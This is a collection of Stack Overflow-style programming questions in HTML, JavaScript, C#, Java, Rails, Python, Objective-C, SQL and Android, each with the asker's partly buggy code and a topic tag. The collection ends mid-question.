float:left not working  can some one please help me on this.. i am using float:left for id =row1 but why doesnt it get alinged.    there are two columns of data using div for each list  both list should be alinged to left  not below one another.    <a href= http://jsfiddle.net/c6242/1878/  rel= nofollow >http://jsfiddle.net/c6242/1878/</a>   <pre><code>&lt;style&gt; #row1{ float:left; } &lt;/style&gt;   &lt;style&gt; .col1{  margin-left:50px; width:150px; border:1px solid; border-color:red; } &lt;/style&gt;  &lt;style&gt; .col2{  margin-left:100px; width:150px; border:1px solid; border-color:red; } &lt;/style&gt;  &lt;!--one coloum--&gt; &lt;div class= col1  id= row1 &gt;sr no:&lt;/div&gt; &lt;div class= col1 &gt;entry date:&lt;/div&gt; &lt;div class= col1 &gt;name&lt;/div&gt; &lt;div class= col1 &gt;phone no:&lt;/div&gt; &lt;div class= col1 &gt;email id:&lt;/div&gt; &lt;div class= col1 &gt;mrf code:&lt;/div&gt; &lt;div class= col1 &gt;location:&lt;/div&gt; &lt;div class= col1 &gt;total exp:&lt;/div&gt; &lt;div class= col1 &gt;last organisation:&lt;/div&gt; &lt;div class= col1 &gt;current ctc:&lt;/div&gt; &lt;div class= col1 &gt;notice period:&lt;/div&gt; &lt;div class= col1 &gt;source:&lt;/div&gt;  &lt;!--second column both needs to be side by side--&gt; &lt;div class= col1  id= row1 &gt;sr no1:&lt;/div&gt; &lt;div class= col2 &gt;entry date1:&lt;/div&gt; &lt;div class= col2 &gt;name1&lt;/div&gt; &lt;div class= col2 &gt;phone no1:&lt;/div&gt; &lt;div class= col2 &gt;email id1:&lt;/div&gt; &lt;div class= col2 &gt;mrf code1:&lt;/div&gt; &lt;div class= col2 &gt;location1:&lt;/div&gt; &lt;div class= col2 &gt;total exp1:&lt;/div&gt; &lt;div class= col2 &gt;last organisation1:&lt;/div&gt; &lt;div class= col2 &gt;current ctc1:&lt;/div&gt; &lt;div class= col2 &gt;notice period1:&lt;/div&gt; &lt;div class= col2 &gt;source1:&lt;/div&gt;   &lt;/body&gt; </code></pre>   any help appreciated..,html
ensure script tag is included as first tag in the body   i have a script file that i want third party implementors to include in their web pages.    i want this script to be the first tag included in the body  so   <pre><code>&lt;body&gt; &lt;script type= text/javascript  src= /my_script.js &gt;&lt;/script&gt; ... </code></pre>   what s the best way to go about doing this without using any third party libraries      my intent is that this script gets run before any of the page is rendered. if the tag isn t included correctly  i want to display an error message to the developer  telling them to put the tag as the first tag in the body.    edit: this script is going to be used to protect against clickjacking  and will basically hide the entire document if the embedder isn t in a whitelist. why does it need to be the first script in the page  to ensure that nothing clickable becomes visible before the script is run  and to ensure that other script errors don t interfere with this being run as well. so it doesn t absolutely need to be first  but it should be super close to first ;-) this approach is <a href= https://www.owasp.org/index.php/clickjacking_defense_cheat_sheet#best-for-now_legacy_browser_frame_breaking_script  rel= nofollow >based off of this suggestions at the owasp site</a>  but is trying to be a more of a  just drop it in  solution.,javascript
need help in 3 tier entity class object code  i am trying to access entity class but getting the error message  no overload method for createdoctor takse 3 argument  here is my code please modify somebody.. doctorproperty class:   <pre><code>public class doctorproperty //class for doctor table {     int _id;     string _name;     string _address;     int _phone;     public int id     {         get         {             return _id;         }         set         {             _id = value;         }     }     public string name     {         get         {             return _name;         }         set         {             _name = value;         }     }     public string address     {         get         {             return _address;         }         set         {             _address = value;         }     }     public int phone     {         get         {             return _phone;         }         set         {             _phone = value;         }     } } doctor datalayer: public class doctordatalayer {     public string str = configurationmanager.connectionstrings[ connectionstring ].tostring();     public int adddoctor(doctorproperty obj)     {         sqlconnection con = new sqlconnection(str);                      sqlcommand com =new sqlcommand( insert into doctor values(  +obj.name+     +obj.address+     +obj.phone+  )  con);         com.executenonquery();         return 0;         } } doctor businesslayer: public class doctorbusinesslayer {        public void createdoctor(doctorproperty obj)     {         doctordatalayer dl = new doctordatalayer();         dl.adddoctor(obj);         } } addoctor.aspx.cs protected void btnsubmit_click(object sender  eventargs e)     {         doctorbusinesslayer db = new doctorbusinesslayer();         doctorproperty dp = new doctorproperty();         db.createdoctor(txtname.text  txtaddress.text  txtphone.text);     } </code></pre>   above highlighted line getting error:,asp.net
how to identify where exception is being caught   i ve tests where based on some condition  i skip execution in <code>@beforeclass</code> itself like -   <pre><code>    @beforeclass(alwaysrun = true)     public void beforeclass() {         super.beforeclass();         if (somecondition) {                 //do something             } else {                 throw new skipexception(                          these tests are not intended to execute:  );             }               }     }      @beforemethod     public void beforemethod() {         // do something     } </code></pre>   but when i run tests  skipexecution statement is executed still execution goes in method annotated with <code>@beforemethod</code> and code under it is executed which results my tests in failure instead of skip status.    this issue does not reproduce if i try it out of our automation framework and reproduces only when i try it out with my framework code. looks somewhere  the exception i m throwing  is being caught. actually in my code  i m not catching it anywhere. i went all the way up to parent classes  still i cannot see exception being caught.    is there any way using java apis with which i can identify where the exception is caught,java
rails validates_acceptance_of :accept => true or  1   i would like to use <code>validates_acceptance_of</code> for tos on my user model. i need it to work for a new api endpoint which could be true  but also not to regress on older workings ( 1 ).     is there a way to say <code>validates_acceptance_of tos  accept: [true   1 ]</code>    note: i ve tried the line above and it fails for both.,ruby-on-rails
scale floating divs at same height  i have this html:   <pre><code>&lt;div class= exwrap &gt;     &lt;div class= listpages &gt; &lt;/div&gt;     &lt;div class= excerpt &gt; &lt;/div&gt; &lt;/div&gt;` </code></pre>   and css:   <pre><code>.listpages {     width: 28%;     float: left;     height: 100%; }  .excerpt {     width: 70%;     float: right;     height: 100%; } </code></pre>   i want .listpages  and .excerpt to have the same heights  but this only works if i have .exwrap fixed height  but i need to have dinamic heights and the smaller one to have the height of the bigger one.    thanks.,css
python- converting tuple to list of multiple lists by index  i have a list of tuples that looks like this:   <pre><code>x = [(1  6)  (2  7)  (3  8)  (4  9)  (5  10)] </code></pre>   what is the most pythonic and efficient way to convert into a list of 2 lists where each list respectively has all values of a specific index  like so:   <pre><code>y = [[1  2  3  4  5]  [6  7  8  9  10]] </code></pre>   is it possible to do this without a loop,python
how to make an objective-c method private <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2158660/why-doesnt-objective-c-support-private-methods >why doesn’t objective-c support private methods </a><br>   <a href= https://stackoverflow.com/questions/9414410/private-method-declaration-objective-c >private method declaration objective-c</a>    </blockquote>     what i would like to do is make the implementation of a particular method in objective c private (to use a java term). that is  a method that the class can call as needed without any worry that the method will be overridden by a subclass. perhaps the term is  safe from being overridden.     as an example  an object has multiple init methods  and there s a private initialize method to do the common initializations:   <pre><code>- (void) initwithfile:(nsstring *)file {     if ((self = [super init]) != nil) {         self.file = file;         self.url = nil;         [self initialize]     }     return self; }  - (void) initwithurl:(nsurl *)url {     if ((self = [super init]) != nil) {         self.url = url;         self.file = nil;         [self initialize]     }     return self; }  - (void) initialize {     ... } </code></pre>   this works  and if initialize isn t declared in the .h file  it s  protected  from being called by other classes.    i get into problem with subclasses (assuming the following class is a subclass of the previous example):   <pre><code>- (void) initwithfile:(nsstring *)file {     if ((self = [super initwithfile:file]) != nil) {         [self initialize];   // my local initializations     }     return self; }  - (void) initialize {     ... // my private stuff } </code></pre>   the problem is that in this example  the base class s initialize method is now never called  and the subclass s initialize method is called twice  since the subclass s initialize method is overriding the base class method.    i know i could call [super initialize] in the subclass  and omit the call in the subclass init method  but that requires the subclass to know the internals of the base class. since the subclass shouldn t need access to the source of the base class  and should only need the .h interface file  it has every reason to think that it can implement an initialize method without causing the unwanted side-effect of changing the behavior of the base class.    i m asking this because i had an issue that was directly involved with properties not being set in an initialize function  only to find out it was being usurped by a subclass  and it took me some time to debug this. i d like to prevent this from happening in the first place.,objective-c
form_for  url parameter based on parent s id  i currently have my routes setup fine and they are working as follows:   <pre><code>myapp::application.routes.draw do   resources :meal do     resources :entre  :side  :desert   end end </code></pre>   in the meal index view  i generate  through a bunch of partials an :entre form as follows   <pre><code>&lt;%= div_for meal do %&gt;   &lt;tr&gt;     &lt;td&gt; &lt;%= link_to  meal #{meal.id}   meal %&gt; &lt;/td&gt;     &lt;td&gt; &lt;div class = comment &gt;&lt;%= meal.comment %&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;/td&gt;     &lt;td&gt;&lt;div class = edit &gt;         &lt;%= link_to  edit   edit_meal_path(meal) %&gt;         &lt;%= link_to  destroy   meal  method: :delete  remote: true  data: { confirm:      are y     &lt;/div&gt;&lt;/td&gt;     &lt;td&gt;&lt;div class = vmaction &gt;         &lt;%= form_for(meal.entres.new(params[:id])) do |f| %&gt;         &lt;%= f.textfield :choice %&gt;         &lt;%= f.submit  submit  %&gt;       &lt;% end %&gt;       &lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; </code></pre>   as you can see above i am calling a view for another object in the line    <pre><code>&lt;%= form_for(meal.entres.new(params[:id])) do |f| %&gt; </code></pre>   i am trying to figure out how to add in the url parameter  so that based on the url  the <code>_entres_ controller</code> will know which <code>meal_id</code> the entre is being submited for...    i basically want that form to generate a submit url along the lines of this when submitting an entre for say <code>meal_id=3</code>   <pre><code>http://website/meal/3/entres/new </code></pre>   thanks,ruby-on-rails
how can i display the users name under a post  after a user has posted in my blog-ish website  i would like for the website to post the date of when it was published and the name of the user underneath the post. thanks for any help.,ruby-on-rails
c++ when inputting  program ends without continuing  edit: here is the if-else. please see what is going on. and can someone tell me how to return if the answer is wrong  like  incorrect answer  enter again     using namespace std;   <pre><code>int main() {  cout&lt;&lt; welcome to the grade database. please insert your domain:   ; cout&lt;&lt; \n ; int d  n; cin&gt;&gt;d; cout&lt;&lt; now enter your total grade(between 0-100):   ; cin&gt;&gt;n; if (n&gt;0 &amp;&amp; n&lt;59){     cout&lt;&lt; see you next year then :(  ;     cout&lt;&lt; f- &lt;&lt;n;} else if (n&lt;60 &amp;&amp; n&gt;=69){     cout&lt;&lt; well...you pass ;d  ;     cout&lt;&lt; e- &lt;&lt;n&lt;&lt;   ~ &lt;&lt;d;} else if (n&gt;70 &amp;&amp; n&lt;=79){     cout&lt;&lt; better than the average! ;         cout&lt;&lt; d- &lt;&lt;n&lt;&lt;   ~ &lt;&lt;d ;} else if (n&gt;80 &amp;&amp; n&lt;=89){     cout&lt;&lt; very well sir! ;     cout&lt;&lt; c- &lt;&lt;n&lt;&lt;   ~ &lt;&lt;d;} else if (n&gt;90 &amp;&amp; n&lt;=99){     cout&lt;&lt; wow  amazing! one of the best! ;     cout&lt;&lt; b- &lt;&lt;n&lt;&lt;   ~ &lt;&lt;d;} else if(n==100){     cout&lt;&lt; well  hello there mr. stephen hawking. ;     cout&lt;&lt; a- &lt;&lt;n&lt;&lt;   ~ &lt;&lt;d;} else{     cout&lt;&lt; invalid entry. ;}  return 0; </code></pre>   },c++
rails - custom validation called on association  i am experiencing problems with a custom validation in rails.    i have a very simple has_many_through association:   <pre><code>class event   has_many :event_tags   has_many :tags  through: :event_tags end  class tag   has_many :event_tags   has_many :events  through: :event_tags end  class eventtag   belongs_to :event   belongs_to :tag end </code></pre>   i have a validation on my tag model  which is just a uniqueness  but slightly too complicated to be done using just a scope. i therefore have in my model:   <pre><code>validate :name_is_unique_in_scope ... def name_is_unique_in_scope   errors.add(:base   not unique ) if not_unique #this is simplified end </code></pre>   this works perfectly well when i create a new tag.    now  when i create a new event  i have a field for the association in my simple form:   <pre><code>&lt;%= f.association :tags  collection: @tags  label_method: :name  value_method: :id  label: false  required: true  include_hidden: false  input_html: { class:  form-control   id:  form-event-tags   multiple:  multiple  }%&gt; </code></pre>   and in  the create action of my controller:   <pre><code>@event.tag_ids = params[:event][:tag_ids] </code></pre>   which also used to work perfectly fine.    now the problem is  since i have my custom validation in place  the custom validation of the tag model is being called and my association can t be created. there is no validation in my eventtag model  so i really don t understand why this is being called whereas i am not creating a new tag object.     if i change this validation to a standard    <pre><code>validates :name  presence: true  uniqueness: true </code></pre>   this is working again.    thanks,ruby-on-rails
adding where to an as statement in sql  is it possible to add a where statement to an as  when i run sql like this is always fails. i just need some kind of example  and i couldn t find anything at stack from my searching.   <pre><code>select *   count(my_other_table.id) as  c_others  where my_other_table.active = 1 left join my_other_table on my_accounts.id = my_other_table.account_connection from my_accounts order by my_accounts.name </code></pre>   note how i added where my_other_table.active = 1  that s where i m breaking everything    i m not 100% sure how as statements work  usually i don t do anything complex with them. but now that i need to  i can t figure it out,sql
transfer data from one jframe to another jframe using static class or this reference(eclipse)   i have one jframe and its have one jtextbox and a button. another jframe have a single jlabel. i want to bring out the text written in first frame s textbox to second frame s jlabel when button is pressed. and as i have searched about this than i got some unreliable answers. but as per my knowledge it could be done by creating another static class or by calling this reference.  and i ve created the frame like this in initialize function  frame= newjframe()  and i m working on eclipse,java
reading from xml  i used this code to get the title on my page from an xml file. now  i want to display the description for the corresponding titles which is also present in the same xml file. how do i do that    <pre><code>        var queryobj = new object();         var querystring = location.search.replace(       );         var vars = querystring.split( &amp; );         for (var i = 0; i &lt; vars.length; i++)          {             var pair = vars[i].split( = );             var key = pair[0];             var value = pair[1];              var value = decodeuri(value);             queryobj[key] = value;          }          if(queryobj[ activity ] !=    &amp;&amp; queryobj[ phase ] !=   )         {             $( #tasktitle ).html(queryobj[ phase ]+ :  +queryobj[ activity ]);         } </code></pre>,jquery
skscene like a planet (simulate a sphere)  i m writing a 2d game using sprite kit in ios. in few words  my game should show a spaceship which navigates around a planet. so my main scene should simulate a sphere (like a planet)  and will be rectangular on my 2d plan (attached to skview). what i want to do is when the spaceship will leave the screen from one side (let s say left side) with a given direction  immediately i want to see it appearing from the opposite side (right side  or bottom side  according to the angle formed by the direction vector) with the same direction and the same velocity. how can i to do that      here below my code:   <pre><code>-(void)didsimulatephysics{        [self enumeratechildnodeswithname:(nsstring*)spaceshipname usingblock:^(sknode *node  bool *stop) {  cgpoint newposition;     if (node.position.x &lt; 0 || node.position.x &gt; self.view.frame.size.width || node.position.y &lt; 0 || node.position.y &gt; self.view.frame.size.height)     {         newposition = [self calculatenextpoint:node.position velocity:node.physicsbody.velocity];         [node setposition:newposition];     }}]; } </code></pre>   all the problem is to code the function named calculatenextpoint ... i tried to use some mathematical theorems without success (it was too heavy).    thanks for all,ios
c non-standard libraries  i m quite new to programming  and i was wondering if there is a good source of well-programmed non-standard c code and libraries.    i googled and didn t find anything.  i was a bit surprised by this  especially because i used to search for many python examples and libraries and never had trouble finding anything.    i already use standard libraries such as stdio.c  stdlib.c  and math.c  but i want to use some more specific c modules. a graph processing library  for example. (i don t really need this one  just a collection of c  not c++ or c#  resources and examples),c
is it possible to access global functions from other module   i m extending an existing module that has defined a function that i want to use   <pre><code>import os import sublime import sublime_plugin   git_root_cache = {}  def open_url(url):     sublime.active_window().run_command( open_url   { url : url}) </code></pre>   from the same plugin i have managed to import and run functions running inside classes:   <pre><code>class panagorabuildcommand(gitwindowcommand  sublime_plugin.textcommand  sublime_plugin.windowcommand):     def run(self  edit):         #get the git-folder-name         workingdir = self.get_working_dir() </code></pre>   how can i run the functions from the dependent module inside my class. i cannot change the existing module.,python
rake aborted! can t mass-assign protected attributes: authentication_token  i already found some people fixing this issue modifying the attr_accessible but i think this error might be in the gem rake itself    <pre><code>rake --trace db:seed </code></pre>   -- log output begin --   <pre><code>** invoke db:seed (first_time) ** execute db:seed ** invoke db:abort_if_pending_migrations (first_time) ** invoke environment (first_time) ** execute environment ** invoke db:load_config (first_time) ** execute db:load_config ** execute db:abort_if_pending_migrations rake aborted! can t mass-assign protected attributes: authentication_token /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activemodel-3.2.8/lib/active_model/mass_assignment_security/sanitizer.rb:48:in `process_removed_attributes  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activemodel-3.2.8/lib/active_model/mass_assignment_security/sanitizer.rb:20:in `debug_protected_attribute_removal  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activemodel-3.2.8/lib/active_model/mass_assignment_security/sanitizer.rb:12:in `sanitize  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activemodel-3.2.8/lib/active_model/mass_assignment_security.rb:230:in `sanitize_for_mass_assignment  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activerecord-3.2.8/lib/active_record/attribute_assignment.rb:75:in `assign_attributes  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activerecord-3.2.8/lib/active_record/base.rb:498:in `initialize  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activerecord-3.2.8/lib/active_record/persistence.rb:44:in `new  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activerecord-3.2.8/lib/active_record/persistence.rb:44:in `create  /users/devx/passbook_rails_example/db/seeds.rb:1:in `&lt;top (required)&gt;  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activesupport-3.2.8/lib/active_support/dependencies.rb:245:in `load  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activesupport-3.2.8/lib/active_support/dependencies.rb:245:in `block in load  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activesupport-3.2.8/lib/active_support/dependencies.rb:236:in `load_dependency  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activesupport-3.2.8/lib/active_support/dependencies.rb:245:in `load  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/railties-3.2.8/lib/rails/engine.rb:520:in `load_seed  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/activerecord-3.2.8/lib/active_record/railties/databases.rake:309:in `block (2 levels) in &lt;top (required)&gt;  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:205:in `call  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:205:in `block in execute  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:200:in `each  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:200:in `execute  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:158:in `block in invoke_with_call_chain  /users/devx/.rvm/rubies/ruby-1.9.3-p362/lib/ruby/1.9.1/monitor.rb:211:in `mon_synchronize  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:151:in `invoke_with_call_chain  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/task.rb:144:in `invoke  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:116:in `invoke_task  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:94:in `block (2 levels) in top_level  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:94:in `each  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:94:in `block in top_level  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:133:in `standard_exception_handling  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:88:in `top_level  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:66:in `block in run  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:133:in `standard_exception_handling  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/lib/rake/application.rb:63:in `run  /users/devx/.rvm/gems/ruby-1.9.3-p362/gems/rake-0.9.2.2/bin/rake:33:in `&lt;top (required)&gt;  /users/devx/.rvm/gems/ruby-1.9.3-p362/bin/rake:19:in `load  /users/devx/.rvm/gems/ruby-1.9.3-p362/bin/rake:19:in `&lt;main&gt;  /users/devx/.rvm/gems/ruby-1.9.3-p362/bin/ruby_noexec_wrapper:14:in `eval  /users/devx/.rvm/gems/ruby-1.9.3-p362/bin/ruby_noexec_wrapper:14:in `&lt;main&gt;  tasks: top =&gt; db:seed </code></pre>   -- log output end --,ruby-on-rails
uiscrollview loading images -makes scroller be slowly  i have a scroll view with many uiviews  and these views have uiimageviews-that i load images into  while scrolling.    so every page has 4 of these views that are preloaded to scroller at start  and i load the next page images while scrolling. i do that in another thread   and still  scroller not entirely scrolls fast  if you look good it has some tiny flicks .    here is the function that loads them :   <pre><code>-(void)loadmainimagetoindex:(int)index {     nsdictionary *dic=[maindata objectatindex:index];     nsstring *userimageurl=[dic objectforkey:@ url ];     nsurl *userurl=[nsurl urlwithstring:userimageurl];       [self downloadimagewithurl:userurl completionblock:^(bool succeeded  nsdata *tdata)      {          if (succeeded)          {              //load back              dispatch_async(dispatch_get_global_queue(dispatch_queue_priority_background  0)  ^                             {                                 uiimage *image=[uiimage imagewithdata:tdata scale:0.25];                                 if (image)                                 {                                     uigraphicsbeginimagecontextwithoptions(image.size  no  image.scale);                                     [image drawatpoint:cgpointzero];                                     image = uigraphicsgetimagefromcurrentimagecontext();                                     uigraphicsendimagecontext();                                 }                                 dispatch_async(dispatch_get_main_queue()  ^                                                {                                                     uiimageview *view=[mainimagesarray objectatindex:index];                              });           }      }]; </code></pre>   the url is loaded asynch.,objective-c
how to replace a string starting with a letter in java  i want to create a method that print out the elements in arraylist.  if the string start with a  e  i  o or u  instead of printing the string  it should print buzz.    i am trying this way. but it isn t work.    <pre><code>arraylist&lt;string&gt; names = new arraylist&lt;&gt;();     names.add( harry );     names.add( kathy );  arraylist&lt;string&gt; replacearray = new arraylist&lt;&gt;();      string buzzreplace[] ={ a   e   i   o   u };        for(string value:names)     {         if(value.startswith(buzzreplace))         {             replacearray = names.replaceall(value  buzz );         }          system.out.println(replacearray.get(value));     } </code></pre>   i found a simply solution :    <pre><code>for (string name: names) {  for (string vowel: buzzreplace) {        if (name.startswith(vowel)) {           name =  buzz ;           break;         }   }   system.out.println(name); </code></pre>   },java
iphone:orientation issue  i have facing an issue that i want to change orientation according to user interface. what i mean iss when user change the app in to landscapeleft  landscaperight or potrait mode  i want to change the orientation according to this change.    please give me any link or any idea to develop this functionality.    thanks in advance.,iphone
i want to draw rectangular shape with slightly rounded sides but not rounded corners in android   <a href= https://i.stack.imgur.com/jlbge.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jlbge.png  alt= enter image description here ></a>    i want to draw this shape in xml not through coding  rectangle with circular sides not rounded corner,android
jquery get children by attribute  this code is returning an empty array when i run it even though there is a div with the attribute [data-directory] in the container.    <code>$(container).children(  [data-directory]  )</code>    container is valid  and the children are there when i log $(container)  i m not sure why it isn t pulling the child that is there though.,jquery
updating listbox from combo box  i imported access database into c#  created form with a combo-box that list all customers  created a list-box to show address details of that customer(2 different tables)  how do i bind that combo-box to the list-box...    the relationship is 1-many (customer(1) -- address(many)),c#
custom error display  i am using this code to display the custom errors in my site. i can see the errors being displayed in my local machine.     but when i deploy the same code  the errors are not being displayed.    it comes up with the following message:    the page cannot be displayed  there is a problem with the page you are trying to reach and it cannot be displayed.    <hr>   please try the following:    open the sitename:2004 home page  and then look for links to the information you want.  click the  refresh button  or try again later.    click  search to look for information on the internet.  you can also see a list of related sites.     http 500 - internal server error    <h2>internet explorer</h2>   the web config code is:   <pre><code>&lt;customerrors mode= off  defaultredirect= genericerrorpage.htm &gt;         &lt;error statuscode= 403  redirect= noaccess.htm  /&gt;         &lt;error statuscode= 404  redirect= filenotfound.htm  /&gt;     &lt;/customerrors&gt; </code></pre>   could any body let me know what other setting needs to be changed to see the error message so that i can fix the problems in my code.    thank you    hari gillala,asp.net
method with to much responsibility using the repository pattern (c#)  so iv e just started out with the basics of the repository pattern and i seem to struggling with  what goes where .    i have a method that inserts a user from a create account page.    frontend:   <pre><code>using (userrepository userrepo = new userrepository())  {   userrepo.add(some params here); } </code></pre>   backend:   <pre><code>/// &lt;summary&gt; /// inserts a new user to the db /// &lt;/summary&gt; /// &lt;param name= encryptedpassword &gt;encrypted password&lt;/param&gt; /// &lt;param name= email &gt;plain text email&lt;/param&gt; /// &lt;param name= tokenid &gt;security token id&lt;/param&gt; /// &lt;param name= encryptedemail &gt;encrypted password&lt;/param&gt; public void add(string encryptedpassword  string email  string encryptedemail  string firstname  string surname) {    //try { }    //catch { }     //create token    string guid = system.guid.newguid().tostring();    tbl_token newtoken = new tbl_token();    newtoken.dateadded = datetime.now;    newtoken.name = guid;    _context.tbl_token.add(newtoken);     //create user    tbl_user createuser = new tbl_user();    createuser.dateadded = datetime.now;    createuser.isaccountconfirmed = false;    createuser.email = email;    createuser.encryptedemail = encryptedemail;    createuser.encryptedpassword = encryptedpassword;    createuser.tokenid = newtoken.tokenid;    _context.tbl_user.add(createuser);     //create bio    tbl_bio newbio = new tbl_bio();    newbio.userid = createuser.userid;    newbio.firstname = firstname;    newbio.lastname = surname;    newbio.profilepic =  avatar.png ;    newbio.dateadded = datetime.now;    _context.tbl_bio.add(newbio);  } </code></pre>   when i was crafting this i instantly knew that there was a code smell and this method contained to much responsibility. on the action of a user clicking a button it should create a token then create a user which access s tokenid and then it creates a bio which access s the userid. so it s all relational.    should the userrepo have a dependency on the tokenrepo and biorepo  (having said that with new db contexts it would lose the memory allocation of the id s of each new repo instantiation)    what would be the  cleanest  way of passing around newly inserted unique id s     or is the above code snippet suitable     apologies if the explanation is lacking.    regards,c#
when to perform parameter type checking in javascript   for the most part  the library i m developing is going to be consumed internally by one or more projects.  with that in mind  should i add logic that performs type checking on all parameters for functions i write  on some parameters or none   to do selective type checking  i feel  would create an inconsitent feel to the api  to do it for all parameters would bloat the code  and to do it for none could lead to error messages that aren t helpful.  any guidance as to why or why not would be appreciated.,javascript
how to disable vibration and sound on touch in android programmetically   i am making one application and  opening alertdialog using onlongclicklistener of imageview and also ontouch zooming .but when i pressed long than vibrating on so is it possible to turn off vibrating on long click listener. i  am using  below code:   <pre><code>public onlongclicklistener longclick = new view.onlongclicklistener() {      @override     public boolean onlongclick(view v) {         vibrator vibe = (vibrator)dailysatsangactivity.this.getsystemservice(context.vibrator_service) ;         vibe.cancel();         }     }; </code></pre>,android
sql error input parameter is int still showing conversion error  system.web.services.protocols.soapexception: server was unable to process request.    <blockquote>    system.data.sqlclient.sqlexception: conversion failed when converting the nvarchar value  insert into theinternetofthingsrptdb_events       ( name  details  startdate enddate imageurl url starttime        endtime keywords city country timezone sponsors username eventtype issponcered)       values(test test entry 01-12-2017 02-12-2017        images/eventimages/5435e988-574b-4a2a-b168-b02b5af77ea2_content-marketing-summit.jpg        d7dmedia.com/advertise/pubsite/signup.aspx        11 am 16 pm test test india pst test mark@deck7.io   to data type int.      at system.data.sqlclient.sqlconnection.onerror(sqlexception exception  boolean breakconnection  action1 wrapcloseinaction)      at system.data.sqlclient.sqlinternalconnection.onerror(sqlexception exception  boolean breakconnection  action1 wrapcloseinaction)      at   </blockquote>,sql
android listview with images from database  i am trying to display detail from a database using listview in android and i am geting this error. i created a custom listadapter and i am having errors. below is my code. i tried to do it with picasso and i couid not do it. so i tried it this way and it is not working......   <pre><code>package com.example.cann;  import java.util.arraylist; import java.util.hashmap; import java.util.list;  import org.apache.http.namevaluepair; import org.json.jsonarray; import org.json.jsonexception; import org.json.jsonobject;   import android.app.listactivity; import android.app.progressdialog; import android.os.asynctask; import android.os.bundle; import android.util.log; import android.view.menu; import android.view.view; import android.widget.adapterview; import android.widget.baseadapter; import android.widget.listview; import android.widget.toast;  public class categoryactivity extends listactivity {      // progress dialog     private progressdialog pdialog;      // all json node names     private static final string tag_posts =  posts ;     public static final string tag_id =  id ;     public static final string tag_name =  category ;     public static final string tag_categories_count =  categories_count ;     public static final string tag_categories_logo =  categories_logo ;      private static final string url_category =  http://10.0.2.2/music/selectm.php ;      // albums jsonarray     jsonarray categories = null;      // creating json parser object     jsonparser jsonparser = new jsonparser();      // private listview lv;     private baseadapter madapter;      arraylist&lt;hashmap&lt;string  string&gt;&gt; categorylist;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_category);          // hashmap for listview         categorylist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();          log.d( oncreate:     yep );           new loadcomments().execute();     }      public void yess(){         // get listview         listview lv = getlistview();         lv.setdivider(null);          lv.setonitemclicklistener(new android.widget.adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; arg0  view view                      int position  long arg3) {                  toast.maketext(categoryactivity.this   item selected:   + position                          toast.length_long).show();                  // uncomment this to start a new activity for a chosen item                 /* intent i = new intent(getapplicationcontext()                          itemlistactivity.class);                  string category_id = ((textview) view                         .findviewbyid(r.id.category_id)).gettext()                         .tostring();                 i.putextra( category_id   category_id);                  startactivity(i);*/             }         });     }     public void upd(){          categorylist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();             jsonparser jparser = new jsonparser();          jsonobject json = jparser.getjsonfromurl(url_category);         try {              categories  = json.getjsonarray(tag_posts);              for (int i = 0; i &lt; categories.length(); i++) {                 jsonobject c =categories.getjsonobject(i);                  string id = c.getstring(tag_id);                 string name = c.getstring(tag_name);                 string songs_count = c.getstring(tag_categories_count);                 string category_logo = c.getstring(tag_categories_logo);                  hashmap&lt;string  string&gt; map = new hashmap&lt;string  string&gt;();                 map.put(tag_id  id);                 map.put(tag_name  name);                 map.put(tag_categories_count  songs_count);                 map.put(tag_categories_logo  category_logo);                  categorylist.add(map);                      // adding hashlist to arraylist                  }                  madapter = new categorylistadapter(categoryactivity.this                          categorylist);                 getlistview().setadapter(madapter);                  // dismiss the dialog after getting all albums                 pdialog.dismiss();           } catch (jsonexception e) {             e.printstacktrace();         }      }     public class loadcomments extends asynctask&lt;void  void  boolean&gt; {          @override         protected void onpreexecute() {             super.onpreexecute();             pdialog = new progressdialog(categoryactivity.this);             pdialog.setmessage( loading 